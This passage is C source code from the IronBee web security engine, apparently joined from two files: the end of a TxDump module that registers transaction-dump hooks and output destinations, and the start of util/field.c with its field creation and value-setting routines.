txdump_reqline_state( ib_engine_t *ib, ib_tx_t *tx, ib_state_t state, ib_parsed_req_line_t *line, void *cbdata ) { assert(ib != NULL); assert(tx != NULL); assert(cbdata != NULL); const txdump_t *txdump = (const txdump_t *)cbdata; assert(txdump->state == state); if (!txdump_check_tx(tx, txdump)) { return IB_OK; } txdump_v(tx, txdump, 0, "[TX %s @ %s]", tx->id, txdump->name); txdump_reqline(tx, txdump, 2, line); txdump_flush(tx, txdump); return IB_OK; } /** * Handle a TX state for TxDump * * @param[in] ib IronBee object * @param[in] tx Transaction object * @param[in] state State * @param[in] line Parsed response line * @param[in] cbdata Callback data (TxDump object) * * @returns This always returns IB_OK. */ static ib_status_t txdump_resline_state( ib_engine_t *ib, ib_tx_t *tx, ib_state_t state, ib_parsed_resp_line_t *line, void *cbdata ) { assert(ib != NULL); assert(tx != NULL); assert(cbdata != NULL); const txdump_t *txdump = (const txdump_t *)cbdata; assert(txdump->state == state); if (!txdump_check_tx(tx, txdump)) { return IB_OK; } txdump_v(tx, txdump, 0, "[TX %s @ %s]", tx->id, txdump->name); txdump_resline(tx, txdump, 2, line); txdump_flush(tx, txdump); return IB_OK; } /** * Execute function for the "TxDump" action * * @param[in] rule_exec The rule execution object * @param[in] data C-style string to log * @param[in] cbdata Callback data (TxDump object) * * @returns * - IB_OK On success. * - Other if txdump_tx() failed to dump @a tx. */ static ib_status_t txdump_act_execute( const ib_rule_exec_t *rule_exec, void *data, void *cbdata ) { assert(rule_exec != NULL); assert(rule_exec->ib != NULL); assert(rule_exec->rule != NULL); assert(rule_exec->tx != NULL); assert(rule_exec->tx->id != NULL); assert(data != NULL); const txdump_t *txdump = (const txdump_t *)data; ib_status_t rc; const ib_tx_t *tx = rule_exec->tx; txdump_v(tx, txdump, 0, "[TX %s @ Rule %s]", tx->id, ib_rule_id(rule_exec->rule)); rc = txdump_tx(rule_exec->ib, tx, txdump); txdump_flush(tx, txdump); return rc; } /** * TxDump state data */ struct txdump_state_t { ib_state_t state; /**< Event type */ ib_state_hook_type_t hook_type; /**< Hook type */ }; typedef struct txdump_state_t txdump_state_t; /** * TxDump state parsing mapping data */ struct txdump_strval_state_t { const char *str; /**< String "key" */ const txdump_state_t data; /**< Data portion */ }; typedef struct txdump_strval_state_t txdump_strval_state_t; static IB_STRVAL_DATA_MAP(txdump_strval_state_t, state_map) = { IB_STRVAL_DATA_PAIR("TxStarted", tx_started_state, IB_STATE_HOOK_TX), IB_STRVAL_DATA_PAIR("RequestStarted", request_started_state, IB_STATE_HOOK_REQLINE), IB_STRVAL_DATA_PAIR("RequestHeaderProcess", request_header_process_state, IB_STATE_HOOK_REQLINE), IB_STRVAL_DATA_PAIR("TxContext", handle_context_tx_state, IB_STATE_HOOK_TX), IB_STRVAL_DATA_PAIR("RequestHeaderFinished", request_header_finished_state, IB_STATE_HOOK_TX), IB_STRVAL_DATA_PAIR("RequestHeader", handle_request_header_state, IB_STATE_HOOK_TX), IB_STRVAL_DATA_PAIR("RequestFinished", request_finished_state, IB_STATE_HOOK_TX), IB_STRVAL_DATA_PAIR("Request", handle_request_state, IB_STATE_HOOK_TX), IB_STRVAL_DATA_PAIR("TxProcess", tx_process_state, IB_STATE_HOOK_TX), IB_STRVAL_DATA_PAIR("ResponseStarted", response_started_state, IB_STATE_HOOK_RESPLINE), IB_STRVAL_DATA_PAIR("ResponseHeaderFinished", response_header_finished_state, IB_STATE_HOOK_TX), IB_STRVAL_DATA_PAIR("ResponseHeader", response_header_finished_state, IB_STATE_HOOK_TX), IB_STRVAL_DATA_PAIR("ResponseFinished", response_finished_state, IB_STATE_HOOK_TX), IB_STRVAL_DATA_PAIR("Response", handle_response_state, IB_STATE_HOOK_TX), IB_STRVAL_DATA_PAIR("LogEvent", handle_logevent_state, IB_STATE_HOOK_TX), IB_STRVAL_DATA_PAIR("PostProcess", handle_postprocess_state, IB_STATE_HOOK_TX), IB_STRVAL_DATA_PAIR("Logging", handle_logging_state, IB_STATE_HOOK_TX), IB_STRVAL_DATA_PAIR("TxFinished", tx_finished_state, IB_STATE_HOOK_TX), IB_STRVAL_DATA_PAIR_LAST((ib_state_t)-1, (ib_state_hook_type_t)-1), }; /** * Parse the state for a TxDump directive * * @param[in] ib IronBee engine * @param[in] label Label for logging * @param[in] param Parameter string * @param[in,out] txdump TxDump object to set the state in * * @returns: Status code */ static ib_status_t txdump_parse_state( ib_engine_t *ib, const char *label, const char *param, txdump_t *txdump ) { assert(ib != NULL); assert(label != NULL); assert(param != NULL); assert(txdump != NULL); ib_status_t rc; const txdump_state_t *value; rc = IB_STRVAL_DATA_LOOKUP(state_map, txdump_strval_state_t, param, &value); if (rc != IB_OK) { ib_log_error(ib, "Invalid state parameter \"%s\" for %s.", param, label); return rc; } #ifndef __clang_analyzer__ txdump->state = value->state; txdump->hook_type = value->hook_type; #endif txdump->name = ib_state_name(txdump->state); return IB_OK; } /** * Parse the destination for a TxDump directive or action * * @param[in] ib IronBee engine * @param[in] mm Memory manager to use for allocations * @param[in] label Label for logging * @param[in] param Parameter string * @param[in,out] txdump TxDump object to set the state in * * @returns * - IB_OK On success. * - IB_EUNKNOWN if @c stdout or @c stderr cannot be used as output streams * as requested (@a param equals "StdOut" or "StdErr"). * - IB_EALLOC On memory allocation errors. * - IB_EINVAL No supported dump destination was requested or * the file destination requested failed to be opened. */ static ib_status_t txdump_parse_dest( ib_engine_t *ib, ib_mm_t mm, const char *label, const char *param, txdump_t *txdump ) { assert(ib != NULL); assert(label != NULL); assert(param != NULL); assert(txdump != NULL); txdump->dest = ib_mm_strdup(mm, param); if (strcasecmp(param, "StdOut") == 0) { txdump->fp = ib_util_fdup(stdout, "a"); if (txdump->fp == NULL) { return IB_EUNKNOWN; } } else if (strcasecmp(param, "StdErr") == 0) { txdump->fp = ib_util_fdup(stderr, "a"); if (txdump->fp == NULL) { return IB_EUNKNOWN; } } else if (strncasecmp(param, "file://", 7) == 0) { const char *mode; char *fname; char *end; size_t len; /* Make a copy of the file name */ fname = ib_mm_strdup(mm, param + 7); if (fname == NULL) { return IB_EALLOC; } len = strlen(fname); if (len <= 1) { ib_log_error(ib, "Missing file name for %s.", label); return IB_EINVAL; } /* If the last character is a '+', open in append mode */ end = fname + len - 1; if (*end == '+') { mode = "a"; *end = '\0'; } else { mode = "w"; } txdump->fp = fopen(fname, mode); if (txdump->fp == NULL) { ib_log_error(ib, "Failed to open \"%s\" for %s: %s", fname, label, strerror(errno)); return IB_EINVAL; } } else if (strcasecmp(param, "ib") == 0) { txdump->level = IB_LOG_DEBUG; } else { ib_log_error(ib, "Invalid destination \"%s\" for %s.", param, label); return IB_EINVAL; } return IB_OK; } static IB_STRVAL_MAP(flags_map) = { IB_STRVAL_PAIR("default", TXDUMP_DEFAULT), IB_STRVAL_PAIR("basic", TXDUMP_BASIC), IB_STRVAL_PAIR("context", TXDUMP_CONTEXT), IB_STRVAL_PAIR("connection", TXDUMP_CONN), IB_STRVAL_PAIR("reqline", TXDUMP_REQLINE), IB_STRVAL_PAIR("reqhdr", TXDUMP_REQHDR), IB_STRVAL_PAIR("resline", TXDUMP_RESLINE), IB_STRVAL_PAIR("reshdr", TXDUMP_RESHDR), IB_STRVAL_PAIR("headers", TXDUMP_HEADERS), IB_STRVAL_PAIR("flags", TXDUMP_FLAGS), IB_STRVAL_PAIR("args", TXDUMP_ARGS), IB_STRVAL_PAIR("vars", TXDUMP_VARS), IB_STRVAL_PAIR("all", TXDUMP_ALL), IB_STRVAL_PAIR_LAST, }; /** * Handle the TxDump directive * * @param[in] cp Config parser * @param[in] directive Directive name * @param[in] params List of directive parameters * @param[in] cbdata Callback data (module) * * @returns * - IB_OK On success. * - IB_EINVAL If a parameter is omitted or if an unsupported state * is passed as the first parameter. * - IB_EALLOC On allocation errors. * - Other on API failures. */ static ib_status_t txdump_handler( ib_cfgparser_t *cp, const char *directive, const ib_list_t *params, void *cbdata ) { assert(cp != NULL); assert(cp->ib != NULL); assert(directive != NULL); assert(params != NULL); assert(cbdata != NULL); ib_status_t rc; ib_mm_t mm = ib_engine_mm_main_get(cp->ib); const ib_module_t *module = cbdata; ib_context_t *context; txdump_config_t *config; txdump_t txdump; txdump_t *ptxdump; const ib_list_node_t *node; const char *param; static const char *label = "TxDump directive"; int flagno = 0; ib_flags_t flags = 0; ib_flags_t mask = 0; /* Get my configuration context */ rc = ib_cfgparser_context_current(cp, &context); if (rc != IB_OK) { ib_cfg_log_error(cp, "Txdump: Failed to get current context: %s", ib_status_to_string(rc)); return rc; } /* Get my module configuration */ rc = ib_context_module_config(context, module, (void *)&config); if (rc != IB_OK) { ib_cfg_log_error(cp, "Failed to get %s module configuration: %s", module->name, ib_status_to_string(rc)); return rc; } assert(config->txdump_list != NULL); /* Initialize the txdump object */ memset(&txdump, 0, sizeof(txdump)); txdump.config = config; txdump.module = module; /* First parameter is state type */ node = ib_list_first_const(params); if ( (node == NULL) || (node->data == NULL) ) { ib_cfg_log_error(cp, "Missing state type for %s.", label); return IB_EINVAL; } param = (const char *)node->data; rc = txdump_parse_state(cp->ib, label, param, &txdump); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error parsing state for %s.", label); return rc; } /* Second parameter is the destination */ node = ib_list_node_next_const(node); if ( (node == NULL) || (node->data == NULL) ) { ib_cfg_log_error(cp, "Missing destination for %s.", label); return IB_EINVAL; } param = (const char *)node->data; rc = txdump_parse_dest(cp->ib, mm, label, param, &txdump); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error parsing destination for %s: %s", label, ib_status_to_string(rc)); return rc; } /* Parse the remainder of the parameters a enables / disables */ while( (node = ib_list_node_next_const(node)) != NULL) { assert(node->data != NULL); param = (const char *)node->data; rc = ib_flags_string(flags_map, param, flagno++, &flags, &mask); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error parsing enable for %s: %s", label, ib_status_to_string(rc)); return rc; } } txdump.flags = ib_flags_merge(TXDUMP_DEFAULT, flags, mask); if (txdump.flags != 0) { txdump.flags |= TXDUMP_ENABLED; } /* Create the txdump entry */ ptxdump = ib_mm_memdup(mm, &txdump, sizeof(txdump)); if (ptxdump == NULL) { return IB_EALLOC; } /* Add it to the list */ rc = ib_list_push(config->txdump_list, ptxdump); if (rc != IB_OK) { ib_cfg_log_error(cp, "Error adding TxDump object to list for %s: %s", label, ib_status_to_string(rc)); return rc; } /* Finally, register the callback */ switch(txdump.hook_type) { case IB_STATE_HOOK_TX: rc = ib_hook_tx_register( cp->ib, txdump.state, txdump_tx_state, ptxdump); break; case IB_STATE_HOOK_REQLINE: rc = ib_hook_parsed_req_line_register( cp->ib, txdump.state, txdump_reqline_state, ptxdump); break; case IB_STATE_HOOK_RESPLINE: rc = ib_hook_parsed_resp_line_register( cp->ib, txdump.state, txdump_resline_state, ptxdump); break; default: ib_cfg_log_error(cp, "No handler for hook type %d.", txdump.hook_type); return IB_EINVAL; } if (rc != IB_OK) { ib_cfg_log_error(cp, "Failed to register handler for hook type %d: %s", txdump.hook_type, ib_status_to_string(rc)); } return IB_OK; } /** * Create function for the txDump action. * * @param[in] mm Memory manager. * @param[in] ctx Context * @param[in] parameters Parameters * @param[out] instance_data Instance data to pass to execute. * @param[in] cbdata Callback data. * * @returns * - IB_OK On success. * - IB_EALLOC On allocation errors. * - IB_EINVAL If no destination could be parsed from @a parameters. * - Other on API failures. */ static ib_status_t txdump_act_create( ib_mm_t mm, ib_context_t *ctx, const char *parameters, void *instance_data, void *cbdata ) { assert(ctx != NULL); ib_engine_t *ib = ib_context_get_engine(ctx); ib_status_t rc; txdump_t txdump; txdump_t *ptxdump; char *pcopy; char *param; static const char *label = "txDump action"; int flagno = 0; ib_flags_t flags = 0; ib_flags_t mask = 0; if (parameters == NULL) { return IB_EINVAL; } /* Initialize the txdump object */ memset(&txdump, 0, sizeof(txdump)); txdump.name = "Action"; /* Make a copy of the parameters that we can use for strtok() */ pcopy = ib_mm_strdup(ib_engine_mm_temp_get(ib), parameters); if (pcopy == NULL) { return IB_EALLOC; } /* First parameter is the destination */ param = strtok(pcopy, ","); if (param == NULL) { ib_log_error(ib, "Missing destination for %s.", label); return IB_EINVAL; } rc = txdump_parse_dest(ib, mm, label, param, &txdump); if (rc != IB_OK) { ib_log_error(ib, "Error parsing destination for %s.", label); return rc; } /* Parse the remainder of the parameters a enables / disables */ while ((param = strtok(NULL, ",")) != NULL) { rc = ib_flags_string(flags_map, param, flagno++, &flags, &mask); if (rc != IB_OK) { ib_log_error(ib, "Error parsing enable for %s.", label); return rc; } } txdump.flags = ib_flags_merge(TXDUMP_DEFAULT, flags, mask); if (txdump.flags != 0) { txdump.flags |= TXDUMP_ENABLED; } /* Create the txdump entry */ ptxdump = ib_mm_memdup(mm, &txdump, sizeof(txdump)); if (ptxdump == NULL) { ib_log_error(ib, "Error allocating TxDump object for %s.", label); return IB_EALLOC; } /* Done */ *(void **)instance_data = ptxdump; return IB_OK; } /** * Handle copying configuration data for the TxDump module * * @param[in] ib Engine handle * @param[in] module Module * @param[in] dst Destination of data. * @param[in] src Source of data. * @param[in] length Length of data. * @param[in] cbdata Callback data * * @returns * - IB_OK On success. * - Other on ib_list_copy() or ib_list_copy() failures. */ static ib_status_t txdump_config_copy( ib_engine_t *ib, ib_module_t *module, void *dst, const void *src, size_t length, void *cbdata ) { assert(ib != NULL); assert(module != NULL); assert(dst != NULL); assert(src != NULL); assert(length == sizeof(txdump_config)); ib_status_t rc; txdump_config_t *dst_config = dst; const txdump_config_t *src_config = src; ib_mm_t mm = ib_engine_mm_main_get(ib); /* * If there is no source list, create an empty list. Otherwise, copy * nodes from the source list. */ if (src_config->txdump_list == NULL) { rc = ib_list_create(&dst_config->txdump_list, mm); } else { rc = ib_list_copy(src_config->txdump_list, mm, &dst_config->txdump_list); } return rc; } /** * Initialize the txdump module. * * @param[in] ib IronBee Engine. * @param[in] module Module data. * @param[in] cbdata Callback data (unused). * * @returns * - IB_OK On success. * - Other if actions or directives cannot be registered. */ static ib_status_t txdump_init( ib_engine_t *ib, ib_module_t *module, void *cbdata ) { assert(ib != NULL); assert(module != NULL); ib_status_t rc; size_t flagbuf_len = 3; const ib_strval_t *rec; /* Sanity check that FLAGBUF_SIZE is sufficiently large */ IB_STRVAL_LOOP(bytestring_flags_map, rec) { flagbuf_len += (strlen(rec->str) + 1); } assert(FLAGBUF_SIZE > flagbuf_len); /* Register the TxDump directive */ rc = ib_config_register_directive(ib, "TxDump", IB_DIRTYPE_LIST, (ib_void_fn_t)txdump_handler, NULL, module, NULL, NULL); if (rc != IB_OK) { ib_log_error(ib, "Failed to register TxDump directive: %s", ib_status_to_string(rc)); return rc; } /* Register the TxDump action */ rc = ib_action_create_and_register( NULL, ib, "txDump", txdump_act_create, NULL, NULL, NULL, /* no destroy function */ txdump_act_execute, NULL ); if (rc != IB_OK) { return rc; } return IB_OK; } /** * Module structure. * * This structure defines some metadata, config data and various functions. */ IB_MODULE_INIT( IB_MODULE_HEADER_DEFAULTS, /* Default metadata */ MODULE_NAME_STR, /* Module name */ &txdump_config, sizeof(txdump_config), /* Global config data */ txdump_config_copy, NULL, /* Config copy function */ NULL, /* Module config map */ NULL, /* Module directive map */ txdump_init, /* Initialize function */ NULL, /* Callback data */ NULL, /* Finish function */ NULL, /* Callback data */ );
crustymonkey/ironbee
util/field.c
<gh_stars>1-10 /***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- Field Routines * * @author <NAME> <<EMAIL>> * @author <NAME> <<EMAIL>> */ #include "ironbee_config_auto.h" #include <ironbee/field.h> #include <ironbee/bytestr.h> #include <ironbee/engine.h> #include <ironbee/escape.h> #include <ironbee/log.h> #include <ironbee/mm.h> #include <ironbee/string.h> #include <ironbee/stream.h> #include <ironbee/util.h> #include <assert.h> #include <inttypes.h> #include <math.h> #if ((__GNUC__==4) && (__GNUC_MINOR__==4)) #pragma GCC optimize ("O0") #pragma message "Warning: GCC optimization turned on for GCC 4.4. This code may malfunction." #endif /** The union of values. */ typedef union { ib_num_t num; /**< Generic numeric value */ ib_float_t fnum; /**< Floating type value. */ ib_time_t time; /**< Milliseconds since epoch. */ ib_bytestr_t *bytestr; /**< Byte string value */ char *nulstr; /**< NUL string value */ ib_list_t *list; /**< List of fields */ ib_stream_t *stream; /**< Stream buffer */ void *ptr; /**< Pointer value */ } ib_field_val_union_t; /** * Field value structure. * * This allows for multiple types of values to be stored within a field. */ struct ib_field_val_t { ib_field_get_fn_t fn_get; /**< Function to get a value. */ ib_field_set_fn_t fn_set; /**< Function to set a value. */ void *cbdata_get; /**< Data passed to fn_get. */ void *cbdata_set; /**< Data passed to fn_get. */ void *pval; /**< Address where value is stored */ ib_field_val_union_t u; /**< Union of value types */ }; const char *ib_field_type_name( ib_ftype_t ftype ) { switch(ftype) { case IB_FTYPE_GENERIC: return "GENERIC"; case IB_FTYPE_NUM: return "NUM"; case IB_FTYPE_TIME: return "TIME"; case IB_FTYPE_FLOAT: return "FLOAT"; case IB_FTYPE_NULSTR: return "NULSTR"; case IB_FTYPE_BYTESTR: return "BYTESTR"; case IB_FTYPE_LIST: return "LIST"; case IB_FTYPE_SBUFFER: return "SBUFFER"; default: return "Unknown"; } } static ib_status_t field_from_string_internal( ib_mm_t mm, const char *name, size_t nlen, const char *vstr, size_t vlen, bool vstr_is_nulstr, ib_field_t **pfield) { assert(name != NULL); assert(vstr != NULL); assert(pfield != NULL); ib_status_t conv; ib_status_t rc = IB_OK; ib_field_t *field; *pfield = NULL; /* Try to convert to an integer */ if (*pfield == NULL) { ib_num_t num_val; if (vstr_is_nulstr) { conv = ib_string_to_num(vstr, 0, &num_val); } else { conv = ib_string_to_num_ex(vstr, vlen, 0, &num_val); } if (conv == IB_OK) { rc = ib_field_create(&field, mm, name, nlen, IB_FTYPE_NUM, ib_ftype_num_in(&num_val)); *pfield = field; } } /* Try to convert to a float */ if (*pfield == NULL) { ib_float_t float_val; if (vstr_is_nulstr) { conv = ib_string_to_float(vstr, &float_val); } else { conv = ib_string_to_float_ex(vstr, vlen, &float_val); } if (conv == IB_OK) { rc = ib_field_create(&field, mm, name, nlen, IB_FTYPE_FLOAT, ib_ftype_float_in(&float_val)); *pfield = field; } } /* Finally, assume that it's a string */ if (*pfield == NULL) { if (vstr_is_nulstr) { rc = ib_field_create(&field, mm, name, nlen, IB_FTYPE_NULSTR, ib_ftype_nulstr_in(vstr)); } else { ib_bytestr_t *bs; rc = ib_bytestr_dup_mem(&bs, mm, (const uint8_t *)vstr, vlen); if (rc != IB_OK) { return rc; } rc = ib_field_create(&field, mm, name, nlen, IB_FTYPE_BYTESTR, ib_ftype_bytestr_in(bs)); } *pfield = field; } return rc; } ib_status_t ib_field_from_string( ib_mm_t mm, const char *name, size_t nlen, const char *vstr, ib_field_t **pfield) { return field_from_string_internal(mm, name, nlen, vstr, 0, true, pfield); } ib_status_t ib_field_from_string_ex( ib_mm_t mm, const char *name, size_t nlen, const char *vstr, size_t vlen, ib_field_t **pfield) { return field_from_string_internal(mm, name, nlen, vstr, vlen, false, pfield); } void ib_field_util_log_debug( const char *prefix, const ib_field_t *f ) { assert(prefix != NULL); assert(f != NULL); ib_status_t rc; if (ib_util_get_log_level() < IB_LOG_DEBUG) { return; } if (ib_field_is_dynamic(f)) { ib_util_log_debug( "%s is dynamic: fn_get=%p cbdata_get=%p fn_set=%p cbdata_set=%p", prefix, f->val->fn_get, f->val->cbdata_get, f->val->fn_set, f->val->cbdata_set ); } ib_util_log_debug("%s name=%.*s type=%d", prefix, (int)f->nlen, f->name, f->type ); if (ib_field_is_dynamic(f)) { return; } assert(f->val->pval); if (*(void **)(f->val->pval) == NULL) { ib_util_log_debug( "%s has no value.", prefix ); } else { switch (f->type) { case IB_FTYPE_GENERIC: { void *v; rc = ib_field_value(f, ib_ftype_generic_out(&v)); if (rc == IB_OK) { ib_util_log_debug("%s value=%p", prefix, v); } break; } case IB_FTYPE_TIME: { ib_time_t v; rc = ib_field_value(f, ib_ftype_time_out(&v)); if (rc == IB_OK) { ib_util_log_debug("%s value=%"PRIu64, prefix, v); } break; } case IB_FTYPE_NUM: { ib_num_t v; rc = ib_field_value(f, ib_ftype_num_out(&v)); if (rc == IB_OK) { ib_util_log_debug("%s value=%"PRId64, prefix, v); } break; } case IB_FTYPE_FLOAT: { ib_float_t v; rc = ib_field_value(f, ib_ftype_float_out(&v)); if (rc == IB_OK) { ib_util_log_debug("%s value=%Lf", prefix, v); } break; } case IB_FTYPE_NULSTR: { const char *v; rc = ib_field_value(f, ib_ftype_nulstr_out(&v)); if (rc == IB_OK) { ib_util_log_debug("%s value=%s", prefix, v); } break; } case IB_FTYPE_BYTESTR: { const ib_bytestr_t *v; rc = ib_field_value(f, ib_ftype_bytestr_out(&v)); if (rc == IB_OK) { ib_util_log_debug("%s value=%" IB_BYTESTR_FMT, prefix, IB_BYTESTR_FMT_PARAM(v)); } break; } case IB_FTYPE_LIST: { const ib_list_t* v; rc = ib_field_value(f, ib_ftype_list_out(&v)); if (rc == IB_OK) { ib_util_log_debug("%s &value=%p", prefix, v); } break; } case IB_FTYPE_SBUFFER: { const ib_stream_t* v; rc = ib_field_value(f, ib_ftype_sbuffer_out(&v)); if (rc == IB_OK) { ib_util_log_debug("%s &value=%p", prefix, v); } break; } default: ib_util_log_debug("%s Unknown field type: %u", prefix, f->type ); } } } ib_status_t ib_field_create( ib_field_t **pf, ib_mm_t mm, const char *name, size_t nlen, ib_ftype_t type, void *in_pval ) { ib_status_t rc; rc = ib_field_create_alias(pf, mm, name, nlen, type, NULL); if (rc != IB_OK) { goto failed; } /* Point to internal memory */ (*pf)->val->pval = &((*pf)->val->u); rc = ib_field_setv((*pf), in_pval); if (rc != IB_OK) { goto failed; } ib_field_util_log_debug("FIELD_CREATE", (*pf)); return IB_OK; failed: /* Make sure everything is cleaned up on failure. */ *pf = NULL; return rc; } ib_status_t ib_field_create_no_copy( ib_field_t **pf, ib_mm_t mm, const char *name, size_t nlen, ib_ftype_t type, void *mutable_in_pval ) { ib_status_t rc; rc = ib_field_create_alias(pf, mm, name, nlen, type, NULL); if (rc != IB_OK) { goto failed; } /* Point to internal memory */ (*pf)->val->pval = &((*pf)->val->u); rc = ib_field_setv_no_copy((*pf), mutable_in_pval); if (rc != IB_OK) { goto failed; } ib_field_util_log_debug("FIELD_CREATE_NO_COPY", (*pf)); return IB_OK; failed: /* Make sure everything is cleaned up on failure. */ *pf = NULL; return rc; } ib_status_t ib_field_create_alias( ib_field_t **pf, ib_mm_t mm, const char *name, size_t nlen, ib_ftype_t type, void *storage_pval ) { ib_status_t rc; char *name_copy; /* Allocate the field structure. */ *pf = (ib_field_t *)ib_mm_alloc(mm, sizeof(**pf)); if (*pf == NULL) { rc = IB_EALLOC; goto failed; } (*pf)->mm = mm; (*pf)->type = type; (*pf)->tfn = NULL; /* Copy the name. */ (*pf)->nlen = nlen; name_copy = (char *)ib_mm_alloc(mm, nlen); if (name_copy == NULL) { rc = IB_EALLOC; goto failed; } memcpy(name_copy, name, nlen); (*pf)->name = (const char *)name_copy; (*pf)->val = (ib_field_val_t *)ib_mm_calloc(mm, 1, sizeof(*((*pf)->val)) ); if ((*pf)->val == NULL) { rc = IB_EALLOC; goto failed; } (*pf)->val->pval = storage_pval; ib_field_util_log_debug("FIELD_CREATE_ALIAS", (*pf)); return IB_OK; failed: /* Make sure everything is cleaned up on failure. */ *pf = NULL; return rc; } ib_status_t ib_field_create_dynamic( ib_field_t **pf, ib_mm_t mm, const char *name, size_t nlen, ib_ftype_t type, ib_field_get_fn_t fn_get, void *cbdata_get, ib_field_set_fn_t fn_set, void *cbdata_set ) { ib_status_t rc; rc = ib_field_create_alias(pf, mm, name, nlen, type, NULL); if (rc != IB_OK) { return rc; } (*pf)->val->fn_get = fn_get; (*pf)->val->fn_set = fn_set; (*pf)->val->cbdata_get = cbdata_get; (*pf)->val->cbdata_set = cbdata_set; ib_field_util_log_debug("FIELD_CREATE_DYNAMIC", (*pf)); return IB_OK; } ib_status_t ib_field_alias( ib_field_t **pf, ib_mm_t mm, const char *name, size_t nlen, const ib_field_t *src ) { ib_status_t rc; if (ib_field_is_dynamic(src)) { return IB_EINVAL; } rc = ib_field_create_alias( pf, mm, name, nlen, src->type, src->val->pval ); if (rc != IB_OK) { goto failed; } ib_field_util_log_debug("FIELD_ALIAS", (*pf)); return IB_OK; failed: *pf = NULL; return rc; } ib_status_t ib_field_copy( ib_field_t **pf, ib_mm_t mm, const char *name, size_t nlen, const ib_field_t *src ) { ib_status_t rc; if (ib_field_is_dynamic(src)) { rc = ib_field_create_dynamic( pf, mm, name, nlen, src->type, src->val->fn_get, src->val->cbdata_get, src->val->fn_set, src->val->cbdata_set ); } else { switch (src->type) { case IB_FTYPE_NUM: { ib_num_t v; rc = ib_field_value(src, ib_ftype_num_out(&v)); if (rc != IB_OK) { goto failed; } rc = ib_field_create( pf, mm, name, nlen, src->type, ib_ftype_num_in(&v) ); break; } case IB_FTYPE_TIME: { ib_time_t v; rc = ib_field_value(src, ib_ftype_time_out(&v)); if (rc != IB_OK) { goto failed; } rc = ib_field_create( pf, mm, name, nlen, src->type, ib_ftype_time_in(&v) ); break; } case IB_FTYPE_FLOAT: { ib_float_t v; rc = ib_field_value(src, ib_ftype_float_out(&v)); if (rc != IB_OK) { goto failed; } rc = ib_field_create( pf, mm, name, nlen, src->type, ib_ftype_float_in(&v) ); break; } default: { void *v; rc = ib_field_value(src, &v); if (rc != IB_OK) { goto failed; } rc = ib_field_create( pf, mm, name, nlen, src->type, v ); } } } if (rc != IB_OK) { goto failed; } ib_field_util_log_debug("FIELD_COPY", (*pf)); return rc; failed: *pf = NULL; return rc; } ib_status_t ib_field_create_bytestr_alias( ib_field_t **pf, ib_mm_t mm, const char *name, size_t nlen, const uint8_t *val, size_t vlen ) { ib_status_t rc; ib_bytestr_t *bs; rc = ib_bytestr_alias_mem(&bs, mm, val, vlen); if (rc != IB_OK) { goto failed; } rc = ib_field_create_no_copy( pf, mm, name, nlen, IB_FTYPE_BYTESTR, ib_ftype_bytestr_mutable_in(bs) ); if (rc != IB_OK) { goto failed; } ib_field_util_log_debug("FIELD_CREATE_BYTESTR_ALIAS", (*pf)); return IB_OK; failed: /* Make sure everything is cleaned up on failure. */ *pf = NULL; return rc; } ib_status_t ib_field_list_add_const( ib_field_t *f, const ib_field_t *fval ) { ib_status_t rc; ib_list_t *l = NULL; rc = ib_field_mutable_value_type( f, ib_ftype_list_mutable_out(&l), IB_FTYPE_LIST ); if (rc != IB_OK) { return rc; } rc = ib_list_push(l, (void *)fval); return rc; } ib_status_t ib_field_list_add( ib_field_t *f, ib_field_t *fval ) { ib_status_t rc; ib_list_t *l = NULL; rc = ib_field_mutable_value_type( f, ib_ftype_list_mutable_out(&l), IB_FTYPE_LIST ); if (rc != IB_OK) { return rc; } rc = ib_list_push(l, (void *)fval); return rc; } ib_status_t ib_field_buf_add( ib_field_t *f, int dtype, uint8_t *buf, size_t blen ) { ib_status_t rc; ib_stream_t *s = NULL; rc = ib_field_mutable_value_type( f, ib_ftype_sbuffer_mutable_out(&s), IB_FTYPE_SBUFFER ); if (rc != IB_OK) { return rc; } rc = ib_stream_push(s, IB_STREAM_DATA, buf, blen); return rc; } ib_status_t ib_field_make_static( ib_field_t* f ) { if (! ib_field_is_dynamic(f)) { return IB_EINVAL; } f->val->pval = &(f->val->u); *(void**)(f->val->pval) = NULL; f->val->fn_get = NULL; f->val->fn_set = NULL; f->val->cbdata_get = NULL; f->val->cbdata_set = NULL; ib_field_util_log_debug("FIELD_MAKE_STATIC", f); return IB_OK; } ib_status_t ib_field_setv_no_copy( ib_field_t *f, void *mutable_in_pval ) { if ( f->type == IB_FTYPE_NUM || f->type == IB_FTYPE_FLOAT || f->type == IB_FTYPE_TIME || ib_field_is_dynamic(f) ) { return ib_field_setv(f, mutable_in_pval); } *(void **)(f->val->pval) = mutable_in_pval; return IB_OK; } ib_status_t ib_field_setv( ib_field_t *f, void *in_pval ) { ib_status_t rc = ib_field_setv_ex(f, in_pval, NULL, 0); return rc; } ib_status_t ib_field_setv_ex( ib_field_t *f, void *in_pval, const void *arg, size_t alen ) { ib_status_t rc; if (ib_field_is_dynamic(f)) { if (f->val->fn_set == NULL) { return IB_EINVAL; } return f->val->fn_set(f, arg, alen, in_pval, f->val->cbdata_set); } /* No dynamic setter */ if (arg != NULL) { return IB_EINVAL; } /* What and how it is stored depends on the field type. */ switch (f->type) { case IB_FTYPE_BYTESTR: { const ib_bytestr_t *bs = (const ib_bytestr_t *)in_pval; if (bs != NULL) { rc = ib_bytestr_dup((ib_bytestr_t **)f->val->pval, f->mm, bs); if (rc != IB_OK) { goto failed; } } break; } case IB_FTYPE_LIST: { /// @todo Fix const once lists are const aware/copying. ib_list_t *l = (ib_list_t *)in_pval; if (l != NULL) { /// @todo Should do shallow copy *(ib_list_t **)f->val->pval = l; } else { rc = ib_list_create( (ib_list_t **)f->val->pval, f->mm ); if (rc != IB_OK) { goto failed; } } break; } case IB_FTYPE_SBUFFER: { /// @todo Fix once stream is const aware/copying ib_stream_t *s = (ib_stream_t *)in_pval; if (s != NULL) { /// @todo Should do shallow copy *(ib_stream_t **)f->val->pval = s; } else { rc = 